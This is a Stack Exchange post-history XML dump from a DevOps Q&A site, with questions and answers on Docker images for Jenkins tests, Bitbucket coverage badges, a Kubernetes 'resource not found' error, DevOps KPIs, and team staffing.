  <row Id="9230" PostHistoryTypeId="5" PostId="2954" RevisionGUID="232066ff-c15b-4f73-a29a-e8d5cabf3735" CreationDate="2017-12-24T14:54:20.700" UserId="4175" Comment="added 528 characters in body" Text="Yes, you are doing the correct approach. Or rather, &quot;a&quot; correct approach, in your specific circumstance.&#xD;&#xA;&#xD;&#xA;You are proposing to build the image beforehand (not as part of each individual Jenkins job). Then your Jenkins job will consist of running the image; and in that ephemeral state (i.e., inside the *container*) you are checking out the test script (which, I assume, changes frequently) and running it.&#xD;&#xA;&#xD;&#xA;The more usual alternative would be to leave the actual `git checkout` to Jenkins, and pull the script into your container with a bind volume. There are multiple sides to the coin here; if you do the `git checkout` from inside the container, then you can run your test outside of Jenkins with no change. In any case, if you do the `git checkout` from inside, and if you need credentials to access the git repository, be sure to handle those secure (i.e., don't just put a ssh key with an empty passphrase into the image...).&#xD;&#xA;&#xD;&#xA;The benefit you are getting from this is that your test environment (aside from the actual testing code) is well defined, so you can run it on any/many Jenkins node you have available. By not creating new images whenever your code changes, you avoid creating and distributing new images for every job.&#xD;&#xA;&#xD;&#xA;&gt; I do not need any product code, my scripts is all that is required&#xD;&#xA;&#xD;&#xA;So you would never actually *deploy* those images anyways - hence it is perfectly fine to not build them each time. You still should be automatically building your images - no matter if you do it as part of the actual job, or as a separate job which only does it when the Dockerfile (and whichever files it pulls in with `ADD` / `COPY`) changes. Not for technical reasons, but to avoid a manual step.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostHistoryTypeId="2" PostId="2955" RevisionGUID="74abf159-d651-4f9b-8370-eb6e9f81e695" CreationDate="2017-12-24T19:18:15.100" UserId="210" Text="In github it is possible to show a code coverage button. Is this possible in bitbucket as well?&#xD;&#xA;&#xD;&#xA;https://github.com/dwyl/repo-badges&#xD;&#xA;&#xD;&#xA;**Attempts**&#xD;&#xA;&#xD;&#xA;This site was found https://bitbucket.org/site/master/issues/12797/provide-project-status-build-status-badges&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Navigating to `https://bitbucket.org/&lt;user&gt;/&lt;project&gt;/addon/pipelines/home#!/badge/branch/&lt;master&gt;?svg=true` returns a dead link&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostHistoryTypeId="1" PostId="2955" RevisionGUID="74abf159-d651-4f9b-8370-eb6e9f81e695" CreationDate="2017-12-24T19:18:15.100" UserId="210" Text="Is it possible to show a code coverage button in bitbucket repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9233" PostHistoryTypeId="3" PostId="2955" RevisionGUID="74abf159-d651-4f9b-8370-eb6e9f81e695" CreationDate="2017-12-24T19:18:15.100" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9235" PostHistoryTypeId="4" PostId="2955" RevisionGUID="5a7a4071-7116-4b94-ad06-6ba0c8bb456e" CreationDate="2017-12-25T01:55:06.040" UserId="210" Comment="edited title" Text="Is it possible to show a code coverage badge in bitbucket repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostHistoryTypeId="5" PostId="2954" RevisionGUID="26e800c3-cb1c-4701-b47b-07fc371a7079" CreationDate="2017-12-25T11:34:55.823" UserId="4175" Comment="Cleanup" Text="Yes, you are doing the correct approach. Or rather, &quot;a&quot; correct approach, in your specific circumstance.&#xD;&#xA;&#xD;&#xA;You are proposing to build the image beforehand, not as part of each individual Jenkins job. Then your Jenkins job will consist of running the image; and in that ephemeral state (i.e., inside the *container*) you are checking out the test script, and running it.&#xD;&#xA;&#xD;&#xA;The more usual alternative would be to leave the actual `git checkout` to Jenkins, and pull the script into your container with a bind volume. Jenkins has to be able to access your git repository anyways, so you get this checkout for free. There are two sides to the coin here: if you do the `git checkout` from inside the container, then you can run your test outside of Jenkins with no change whatsoever - say, during development, on your own machine. In any case, if you do the `git checkout` from inside, and if you need credentials to access the git repository, be sure to handle those securely. Don't put cleartext passwords in the image, or ssh keys with an empty passphrases.&#xD;&#xA;&#xD;&#xA;The benefit you are getting from this is that your test environment (libraries, 3rd party test drivers and so forth) is well defined, so you can run it on any Jenkins node you have available. By not creating new images whenever your code changes, you avoid creating and distributing new images for every job.&#xD;&#xA;&#xD;&#xA;&gt; I do not need any product code, my scripts is all that is required&#xD;&#xA;&#xD;&#xA;So you would never actually *deploy* those images anyways - hence it is perfectly fine to not build them each time. You still should be *automatically* building your images - no matter if you do it as part of the actual job, or as a separate job which only does it when the Dockerfile (and whichever files it pulls in with `ADD` / `COPY`) changes. Not for technical reasons, but to avoid a manual step.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostHistoryTypeId="2" PostId="2956" RevisionGUID="d3d1f9e1-6d6b-4450-a4b6-f14b2522b126" CreationDate="2017-12-26T07:32:30.440" UserId="5859" Text="I cannot create a kubernetes pod.  I just deployed Kubernetes to Ubuntu 16.04.&#xD;&#xA;&#xD;&#xA;I have this as a.yml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 2&#xD;&#xA;      selector:&#xD;&#xA;        app: nginx&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          name: nginx&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: nginx&#xD;&#xA;            image: nginx&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;&#xD;&#xA;I run this: `kubectl create -f a.yml`&#xD;&#xA;&#xD;&#xA;I get this: &#xD;&#xA;&#xD;&#xA;&gt; Error from server (NotFound): the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;I expected the above command to create a pod.&#xD;&#xA;&#xD;&#xA;I ran this: `kubectl cluster-info dump`&#xD;&#xA;&#xD;&#xA;I got this:&#xD;&#xA;&#xD;&#xA;&gt; {&#xD;&#xA;&gt;     &quot;selfLink&quot;: &quot;/api/v1/nodes&quot;,&#xD;&#xA;&gt;     &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;&gt;     &quot;Items&quot;: [&#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;name&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;&gt;             &quot;selfLink&quot;: &quot;/api/v1/nodes/ip-10-10-10-10&quot;,&#xD;&#xA;&gt;             &quot;uid&quot;: &quot;cdc51051-ea07-11e7-b7ae-025c31abfac0&quot;,&#xD;&#xA;&gt;             &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;&gt;             &quot;creationTimestamp&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;&gt;             &quot;labels&quot;: {&#xD;&#xA;&gt;                 &quot;kubernetes.io/hostname&quot;: &quot;ip-10-10-10-10&quot;&#xD;&#xA;&gt;             },&#xD;&#xA;&gt;             &quot;Spec&quot;: {&#xD;&#xA;&gt;                 &quot;PodCIDR&quot;: &quot;&quot;,&#xD;&#xA;&gt;                 &quot;ExternalID&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;&gt;                 &quot;ProviderID&quot;: &quot;&quot;,&#xD;&#xA;&gt;                 &quot;Unschedulable&quot;: false,&#xD;&#xA;&gt;                 &quot;Taints&quot;: null,&#xD;&#xA;&gt;                 &quot;ConfigSource&quot;: null&#xD;&#xA;&gt;             },&#xD;&#xA;&gt;             &quot;Status&quot;: {&#xD;&#xA;&gt;                 &quot;Capacity&quot;: {&#xD;&#xA;&gt;                     &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;&gt;                     &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;&gt;                     &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;&gt;                 },&#xD;&#xA;&gt;                 &quot;Allocatable&quot;: {&#xD;&#xA;&gt;                     &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;&gt;                     &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;&gt;                     &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;&gt;                 },&#xD;&#xA;&gt;                 &quot;Phase&quot;: &quot;&quot;,&#xD;&#xA;&gt;                 &quot;Conditions&quot;: [&#xD;&#xA;&gt;                     {&#xD;&#xA;&gt;                         &quot;Type&quot;: &quot;Ready&quot;,&#xD;&#xA;&gt;                         &quot;Status&quot;: &quot;True&quot;,&#xD;&#xA;&gt;                         &quot;LastHeartbeatTime&quot;: &quot;2017-12-26T07:03:01Z&quot;,&#xD;&#xA;&gt;                         &quot;LastTransitionTime&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;&gt;                         &quot;Reason&quot;: &quot;kubelet is posting ready status&quot;,&#xD;&#xA;&gt;                         &quot;Message&quot;: &quot;&quot;&#xD;&#xA;&gt;                     }&#xD;&#xA;&gt;                 ],&#xD;&#xA;&gt;                 &quot;Addresses&quot;: [&#xD;&#xA;&gt;                     {&#xD;&#xA;&gt;                         &quot;Type&quot;: &quot;LegacyHostIP&quot;,&#xD;&#xA;&gt;                         &quot;Address&quot;: &quot;10.10.10.10&quot;&#xD;&#xA;&gt;                     }&#xD;&#xA;&gt;                 ],&#xD;&#xA;&gt;                 &quot;DaemonEndpoints&quot;: {&#xD;&#xA;&gt;                     &quot;KubeletEndpoint&quot;: {&#xD;&#xA;&gt;                         &quot;Port&quot;: 0&#xD;&#xA;&gt;                     }&#xD;&#xA;&gt;                 },&#xD;&#xA;&gt;                 &quot;NodeInfo&quot;: {&#xD;&#xA;&gt;                     &quot;MachineID&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;SystemUUID&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;BootID&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;KernelVersion&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;OSImage&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;ContainerRuntimeVersion&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;KubeletVersion&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;KubeProxyVersion&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;OperatingSystem&quot;: &quot;&quot;,&#xD;&#xA;&gt;                     &quot;Architecture&quot;: &quot;&quot;&#xD;&#xA;&gt;                 },&#xD;&#xA;&gt;                 &quot;Images&quot;: null,&#xD;&#xA;&gt;                 &quot;VolumesInUse&quot;: null,&#xD;&#xA;&gt;                 &quot;VolumesAttached&quot;: null&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     ] } {&#xD;&#xA;&gt;     &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/events&quot;,&#xD;&#xA;&gt;     &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;&gt;     &quot;Items&quot;: [] } {&#xD;&#xA;&gt;     &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/replicationcontrollers&quot;,&#xD;&#xA;&gt;     &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;&gt;     &quot;Items&quot;: [] } {&#xD;&#xA;&gt;     &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/services&quot;,&#xD;&#xA;&gt;     &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;&gt;     &quot;Items&quot;: [] } Error from server (NotFound): the server could not find the requested resource (get daemonsets.extensions)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9240" PostHistoryTypeId="1" PostId="2956" RevisionGUID="d3d1f9e1-6d6b-4450-a4b6-f14b2522b126" CreationDate="2017-12-26T07:32:30.440" UserId="5859" Text="How do I get Kubernetes to work when I get an error &quot;the server could not find the requested resource&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9241" PostHistoryTypeId="3" PostId="2956" RevisionGUID="d3d1f9e1-6d6b-4450-a4b6-f14b2522b126" CreationDate="2017-12-26T07:32:30.440" UserId="5859" Text="&lt;kubernetes&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9242" PostHistoryTypeId="2" PostId="2957" RevisionGUID="a33bd185-aedc-44c6-a4d6-f9afeed7adae" CreationDate="2017-12-26T09:04:35.630" UserId="228" Text="**DevOps** does not have any **KPI**. It would be like asking what are the KPI of Love. But some of the things you mentioned (*Problem and Incident Management*, *Capacity Management*, *Change and Release Management*) do have good KPI, some of which are based on the theory behind DevOps.&#xD;&#xA;&#xD;&#xA;In general, for any business process, you can create a **Value Chain Map** describing how value flows from **Customer**, through the enterprise back to **Customer**. The entire loop always has to start and end with Customer, but sometimes, for a service organization, the Customer can be internal. The **throughput of value** through such chain can be a good way to design your KPI in a tamper-proof way. Measuring any KPI in any individual link of the value chain *only makes sense as long as that particular link is the bottleneck* of the process and you try to exploit or elevate the bottleneck.&#xD;&#xA;&#xD;&#xA;A common problem with KPI is when it starts halfway through the chain. For example, a Change and Release process often starts with developers and ends with deployment. This process excluded: &#xD;&#xA;&#xD;&#xA; - Customer having a problem&#xD;&#xA; - Support team identifying the problems&#xD;&#xA; - Product team defining the problem for backlog&#xD;&#xA; - Solutions team customizing the deployment for the customer&#xD;&#xA; - Customer realizing value from the solution&#xD;&#xA;&#xD;&#xA;The problem is that measuring a cycle time alone could lead to two major problems:&#xD;&#xA;&#xD;&#xA; 1. The bottleneck is in any of the excluded parts mentioned above and your customers are not realizing the value and you are not realizing the revenue proportional to the speed of your cycle time. So while your engineering is excellent, your business suffers.&#xD;&#xA;&#xD;&#xA; 2. The disconnect from Customers will make your release cycle spin on empty - not producing any value, despite change being done - or even counter the needs of your Customers and the work being done could have negative business value. &#xD;&#xA;&#xD;&#xA;Another problem with KPI is that while starting and ending with a customer it might not actually measure the value to the customer. A good example would be a Problem and Incident Response process and MTTR (Mean Time To Repair) as KPI. Does the problem even affect anyone? What is the value to customers? You could have excellent MTTR of 3 hours over 100 incidents. But if most of them were internal, with no or minimal impact to customers and resolved in minutes, while the one large incident with huge customer impact took 3 days to handle, the business value is lower than if you had 1 day MTTR, because you ignore most of the internal incidents, but you responded to the huge customer impact incident within 1 hour." ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostHistoryTypeId="5" PostId="2883" RevisionGUID="3b133c68-a2db-434f-a19a-1a1afa05c3c0" CreationDate="2017-12-26T09:08:13.363" UserId="40" Comment="fix grammar" Text="What are the typical signs and signals of a DevOps team being understaffed? How would you justify/explain a request for a new addition to a team?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I would love to keep the question generic, but here is some additional information:&#xD;&#xA;&#xD;&#xA;We currently have 2 DevOps specialists working together as a team, but the demands and the amount and complexity of products are growing. We are thinking to request a new addition to the team, but having some difficulties explaining and proving why it would be a good idea. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostHistoryTypeId="2" PostId="2958" RevisionGUID="2feac296-b8f3-4253-9bc9-c741cb41e929" CreationDate="2017-12-26T09:16:52.260" UserId="5579" Text="A system administrator is responsible for maintaining and configuring servers and their responsibility is to provide the user with the performance, uptime and security that they are looking for. Defining the role of a DevOps engineer is a little more difficult since there is no formal career path and DevOps itself can have many forms. &#xD;&#xA;&#xD;&#xA;A DevOps engineer can be, for example, a developer who is interested in network and deployment operations or a system administrator who is has a passion for coding and scripting. The transition from system administrator to DevOps engineer is not very difficult, in fact, this [article][1] does a very good job describing the process. &#xD;&#xA;&#xD;&#xA;Many people would even argue that this transition from system administrator to DevOps engineer is essential since the position of system administrator will become obsolete in the future. Even though there are plenty of legacy servers that need maintenance and system administrators possess a lot of “tribal knowledge” the sysadmin position will become more scarce in the future. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://squadex.com/insights/system-administrator-making-leap-devops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostHistoryTypeId="5" PostId="2957" RevisionGUID="3d2e4497-d81f-4c21-b88c-ac5c7ef9ad97" CreationDate="2017-12-26T09:21:59.777" UserId="228" Comment="note on internal customers" Text="**DevOps** does not have any **KPI**. It would be like asking what are the KPI of Love. But some of the things you mentioned (*Problem and Incident Management*, *Capacity Management*, *Change and Release Management*) do have good KPI, some of which are based on the theory behind DevOps.&#xD;&#xA;&#xD;&#xA;In general, for any business process, you can create a **Value Chain Map** describing how value flows from **Customer**, through the enterprise back to **Customer**. The entire loop always has to start and end with Customer, but sometimes, for a service organization, the Customer can be internal. The **throughput of value** through such chain can be a good way to design your KPI in a tamper-proof way. Measuring any KPI in any individual link of the value chain *only makes sense as long as that particular link is the bottleneck* of the process and you try to exploit or elevate the bottleneck.&#xD;&#xA;&#xD;&#xA;A common problem with KPI is when it starts halfway through the chain. For example, a Change and Release process often starts with developers and ends with deployment. This process excluded: &#xD;&#xA;&#xD;&#xA; - Customer having a problem&#xD;&#xA; - Support team identifying the problems&#xD;&#xA; - Product team defining the problem for backlog&#xD;&#xA; - Solutions team customizing the deployment for the customer&#xD;&#xA; - Customer realizing value from the solution&#xD;&#xA;&#xD;&#xA;The problem is that measuring a cycle time alone could lead to two major problems:&#xD;&#xA;&#xD;&#xA; 1. The bottleneck is in any of the excluded parts mentioned above and your customers are not realizing the value and you are not realizing the revenue proportional to the speed of your cycle time. So while your engineering is excellent, your business suffers.&#xD;&#xA;&#xD;&#xA; 2. The disconnect from Customers will make your release cycle spin on empty - not producing any value, despite change being done - or even counter the needs of your Customers and the work being done could have negative business value. &#xD;&#xA;&#xD;&#xA;Another problem with KPI is that while starting and ending with a customer it might not actually measure the value to the customer. A good example would be a Problem and Incident Response process and MTTR (Mean Time To Repair) as KPI. Does the problem even affect anyone? What is the value to customers? You could have excellent MTTR of 3 hours over 100 incidents. But if most of them were internal, with no or minimal impact to customers and resolved in minutes, while the one large incident with huge customer impact took 3 days to handle, the business value is lower than if you had 1 day MTTR, because you ignore most of the internal incidents, but you responded to the huge customer impact incident within 1 hour.&#xD;&#xA;&#xD;&#xA;**NOTE:** For an internal customer, in case of the support team business process, the derived value is not the value of the work to the internal customer, but the value gained by the business in unblocking the internal customer in their own business process. Unblocking a team that is a bottleneck in their own process derives higher value than unblocking a non-bottleneck team or individual. All KPI of such support team need to include the business value in their calculation." ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostHistoryTypeId="2" PostId="2959" RevisionGUID="968bcab1-cb61-4b91-be91-98daf5edde1e" CreationDate="2017-12-26T09:22:21.857" UserId="5579" Text="Since DevOps is a hot trend in IT, companies are seeking top-notch DevOps talent. However, before you begin assembling your team, there are a few things you should consider:&#xD;&#xA;&#xD;&#xA;1. What kind of DevOps? &#xD;&#xA;&#xD;&#xA;Imagine a rock band is searching for a new guitarist. There are lots of people who know how to play the guitar, but there are so many music styles that can be played on the guitar, plus there is also another important factor, which is how well this guitarist gets along with the rest of the band. &#xD;&#xA;&#xD;&#xA;When you are searching for candidates, imagine asking an IT guy if he plays DevOps. There are so many successful manifestations of DevOps teams that you need to understand it in the context of the business that they support, because, ultimately, this is the value of DevOps. The customers expect a certain pace and DevOps is the only way to deliver at that pace. &#xD;&#xA;&#xD;&#xA;2. Emphasize culture over tools and roles&#xD;&#xA;&#xD;&#xA;When you get down to it, [DevOps][1] is all about culture. If you take a group of IT engineers and traditional developers who understand and embrace the DevOps culture you can build a successful team. However, if you hire so-called DevOps experts, who know Puppet, Chef and Docker inside and out, but do not accept and adapt to the collaborative and cooperative nature of DevOps, this team is doomed to fail. &#xD;&#xA;&#xD;&#xA;3. Be careful of how you word the job description&#xD;&#xA;&#xD;&#xA;What happens a lot of times is that companies throw in a bunch of buzzwords and tool names and expect to find the right person for the job. Do not dismiss perfectly good candidates just because they do not call themselves “DevOps experts.” More importantly, pay particularly close attention to the personnel you already have. With your leadership skills, the talent you already have can be quite successful at DevOps. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://squadex.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostHistoryTypeId="2" PostId="2960" RevisionGUID="1c40bd85-ea66-492e-8b3e-2377fb343c36" CreationDate="2017-12-26T10:15:47.550" UserId="5863" Text="I have a 3-node kubernetes cluster with default size, in a gcloud projet. Recently, I ran a few tests that created quite a few pods (each pod running basically an hello world script). &#xD;&#xA;&#xD;&#xA;In my console I observed the following graph:&#xD;&#xA;&#xD;&#xA;[![is the unit % or 1.0][1]][1]&#xD;&#xA;&#xD;&#xA;It seems that my cluster is capped at 3% of maximum utilization, if I read the units correctly. This makes no sense at all, why isn't it capable of reaching 100% ?&#xD;&#xA;  [1]: https://i.stack.imgur.com/HAAvj.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9248" PostHistoryTypeId="1" PostId="2960" RevisionGUID="1c40bd85-ea66-492e-8b3e-2377fb343c36" CreationDate="2017-12-26T10:15:47.550" UserId="5863" Text="Meaning of metrics in Google cloud console" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostHistoryTypeId="3" PostId="2960" RevisionGUID="1c40bd85-ea66-492e-8b3e-2377fb343c36" CreationDate="2017-12-26T10:15:47.550" UserId="5863" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9250" PostHistoryTypeId="2" PostId="2961" RevisionGUID="6bfa6a12-a755-49c4-843c-6e48e99b8809" CreationDate="2017-12-26T11:10:51.930" UserId="210" Text="&gt; It seems that my cluster is capped at 3% of maximum utilization, if I&#xD;&#xA;&gt; read the units correctly. This makes no sense at all, why isn't it&#xD;&#xA;&gt; capable of reaching 100% ?&#xD;&#xA;&#xD;&#xA;Why do you think it does make no sense at all? &#xD;&#xA;&#xD;&#xA;&gt; I ran a few tests that created quite a few pods&#xD;&#xA;&#xD;&#xA;What is a few tests?&#xD;&#xA;&#xD;&#xA;&gt; (each pod running basically an hello world script)&#xD;&#xA;&#xD;&#xA;What does this script do? Print helloworld? If that is the case then it could be possible that the cluster will not use 100%.&#xD;&#xA;&#xD;&#xA;By the way, how large is the cluster? How many agents? How many memory? So if the cluster possesses 1024GB of memory then it could be the case it is using 3%.&#xD;&#xA;&#xD;&#xA;In summary, to indicate whether `something makes no sense at all` a number of facts is required:&#xD;&#xA;&#xD;&#xA; - content of the helloworld script&#xD;&#xA; - characteristics of the cluster, e.g. totol cpu, memory, type of disks, storage capacity, number of agents, masters&#xD;&#xA; - definition of `few tests` and `few pods`. How many tests were run, frequency, e.g. 10/s, how many pods" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostHistoryTypeId="5" PostId="2956" RevisionGUID="8b5e779b-c594-4773-8ee5-1173d0ecf644" CreationDate="2017-12-26T11:13:07.213" UserId="210" Comment="added 162 characters in body" Text="I cannot create a kubernetes pod.  I just deployed Kubernetes to Ubuntu 16.04.&#xD;&#xA;&#xD;&#xA;I have this as a.yml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 2&#xD;&#xA;      selector:&#xD;&#xA;        app: nginx&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          name: nginx&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: nginx&#xD;&#xA;            image: nginx&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;&#xD;&#xA;I run this: `kubectl create -f a.yml`&#xD;&#xA;&#xD;&#xA;I get this: &#xD;&#xA;&#xD;&#xA;&gt; Error from server (NotFound): the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;I expected the above command to create a pod.&#xD;&#xA;&#xD;&#xA;I ran this: `kubectl cluster-info dump`&#xD;&#xA;&#xD;&#xA;I got this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/nodes&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;selfLink&quot;: &quot;/api/v1/nodes/ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;uid&quot;: &quot;cdc51051-ea07-11e7-b7ae-025c31abfac0&quot;,&#xD;&#xA;                &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;                &quot;creationTimestamp&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                &quot;labels&quot;: {&#xD;&#xA;                    &quot;kubernetes.io/hostname&quot;: &quot;ip-10-10-10-10&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;Spec&quot;: {&#xD;&#xA;                    &quot;PodCIDR&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;ExternalID&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                    &quot;ProviderID&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Unschedulable&quot;: false,&#xD;&#xA;                    &quot;Taints&quot;: null,&#xD;&#xA;                    &quot;ConfigSource&quot;: null&#xD;&#xA;                },&#xD;&#xA;                &quot;Status&quot;: {&#xD;&#xA;                    &quot;Capacity&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Allocatable&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Phase&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Conditions&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;Ready&quot;,&#xD;&#xA;                            &quot;Status&quot;: &quot;True&quot;,&#xD;&#xA;                            &quot;LastHeartbeatTime&quot;: &quot;2017-12-26T07:03:01Z&quot;,&#xD;&#xA;                            &quot;LastTransitionTime&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                            &quot;Reason&quot;: &quot;kubelet is posting ready status&quot;,&#xD;&#xA;                            &quot;Message&quot;: &quot;&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;Addresses&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;LegacyHostIP&quot;,&#xD;&#xA;                            &quot;Address&quot;: &quot;10.10.10.10&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;DaemonEndpoints&quot;: {&#xD;&#xA;                        &quot;KubeletEndpoint&quot;: {&#xD;&#xA;                            &quot;Port&quot;: 0&#xD;&#xA;                        }&#xD;&#xA;                    },&#xD;&#xA;                    &quot;NodeInfo&quot;: {&#xD;&#xA;                        &quot;MachineID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;SystemUUID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;BootID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KernelVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OSImage&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;ContainerRuntimeVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeletVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeProxyVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OperatingSystem&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;Architecture&quot;: &quot;&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Images&quot;: null,&#xD;&#xA;                    &quot;VolumesInUse&quot;: null,&#xD;&#xA;                    &quot;VolumesAttached&quot;: null&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        ] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/events&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/replicationcontrollers&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/services&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } Error from server (NotFound): the server could not find the requested resource (get daemonsets.extensions)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9252" PostHistoryTypeId="6" PostId="2956" RevisionGUID="8b5e779b-c594-4773-8ee5-1173d0ecf644" CreationDate="2017-12-26T11:13:07.213" UserId="210" Comment="added 162 characters in body" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
